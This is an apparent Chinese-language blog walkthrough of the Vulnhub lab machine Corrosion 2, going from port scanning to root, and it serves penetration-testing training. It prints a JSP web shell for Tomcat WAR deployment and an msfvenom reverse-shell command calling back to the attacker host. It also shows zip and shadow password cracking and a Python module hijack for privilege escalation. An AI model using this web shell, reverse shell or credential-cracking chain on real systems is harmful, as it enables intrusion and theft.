Vulnhub靶机:Corrosion 2

发布时间:2024年01月10日

一、介绍

运行环境:Virtualbox

攻击机:kali(10.0.2.15)

靶机:corrosion:2(10.0.2.13)

目标:获取靶机root权限和flag

靶机下载地址:https://www.vulnhub.com/entry/corrosion-2,745/

二、信息收集

使用nmap主机发现靶机ip10.0.2.13

在这里插入图片描述

使用nmap端口扫描发现靶机开放端口:22、80、8080

在这里插入图片描述

80端口:打开是一个apache2的默认页面,查看源码和目录爆破都没有发现可利用的点

在这里插入图片描述

8080端口:打开网站是tomcat后台登录页面,tomcat版本为9.0.53,使用dirsearch进行目录爆破,发现存在backup.zip备份文件和readme.txt文件

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

将备份文件下载,进行解压,发现需要密码。使用fcrackzip工具进行暴力破解,得到密码:@administrator_hi5

fcrackzip -D -p /usr/share/wordlists/rockyou.txt -u backup.zip 

在这里插入图片描述
在这里插入图片描述

将备份文件解压,在tomcat-users.xml文件里发现tomcat后台的用户名和密码

在这里插入图片描述
在这里插入图片描述

三、漏洞利用

登录到后台后可以通过部署war包进行getshell,将war包上传,部署,可以看到应用列表已经出现了我们的目录

# cmd.jsp
<%
    if("023".equals(request.getParameter("pwd"))){
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("<pre>");
        while((a=in.read(b))!=-1){
            out.println(new String(b));
        }
        out.print("</pre>");
    }
%>

#生成war包
jar cvf cmd.war cmd.jsp

在这里插入图片描述

在这里插入图片描述

访问一下/cmd/目录会返回404,但直接访问/cmd/cmd.jsp可以访问成功,执行命令id返回命令执行结果

http://10.0.2.13:8080/cmd/cmd.jsp?pwd=023&i=id

在这里插入图片描述

反弹shell,尝试过很多方法都失败了,怀疑是不是木马的问题,这次使用msfvenom生成war木马反弹shell,反弹成功

msfvenom -p java/jsp_shell_reverse_tcp LHOST="10.0.2.15" LPORT=4444 -f war > cmdmsf.war                

在这里插入图片描述

在这里插入图片描述

使用python获取交互shell

python3 -c 'import pty; pty.spawn("/bin/bash")'

在这里插入图片描述

四、提权

查看具有root权限的文件,发现policykit-1/polkit-agent-helper-1,可以使用经典的本地提权漏洞cve-2021-4034,但发现靶机没有gcc环境,尝试在本地进行编译,再上传到靶机进行执行,但总是出现各种各样的问题,放弃。

find / -perm -u=s -type f 2>/dev/null

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

查看/etc/passwd 中可存在的用户,发现jaye和randy用户

cat /etc/passwd | grep "/bin/bash"
cat /etc/passwd | grep "/bin/sh"

在这里插入图片描述

尝试一下切换成 jaye 用户,密码还是用刚才发现的 Tomcat 密码

在这里插入图片描述

在/home/randy文件夹下发现note.txt文件,文件里说更改了 randy 对主目录的权限,不能进行删除和添加

在这里插入图片描述

在/home/jaye/Flies目录下,存在look文件,是系统的look命令,look命令可以越权访问

LFILE=file_to_read
./look '' "$LFILE"

在这里插入图片描述

在这里插入图片描述

/etc/shadow文件和/etc/passwd文件复制下来,保存到本地,使用unshadow命令创建1个含有用户名和密码详细信息的文件

unshadow passwd shadow > pass.txt

john the ripper是一款本地密码破解工具,可以从我们上面生成的shadow文件(密码散列)中破解出密码。破解时间取决于密码的复杂程度以及破解模式。使用john工具进行破解。爆出来两个用户:jaye\melehifokivai randy\07051986randy

john --wordlist=/usr/share/wordlists/rockyou.txt pass.txt

使用randy的用户密码登录ssh

在这里插入图片描述

使用命令sudo -l查看可以执行的root权限的命令

/usr/bin/python3.8 /home/randy/randombase64.py

在这里插入图片描述

查看randombase64.py文件的内容,发现该文件调用了base64模块,并且尝试修改该文件,发现没有修改权限

在这里插入图片描述

在这里插入图片描述

想到调用了base64模块,是不是可以修改base64模块来达到提权的目的。发现base64模块可编辑

在这里插入图片描述

修改base64模块

在这里插入图片描述

执行命令运行randombase64.py,获取root权限

在这里插入图片描述

获取flag

在这里插入图片描述

参考链接:Vulnhub 靶场 CORROSION: 2 - sainet - 博客园 (cnblogs.com)

文章来源:https://blog.csdn.net/qq_48904485/article/details/135513917
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。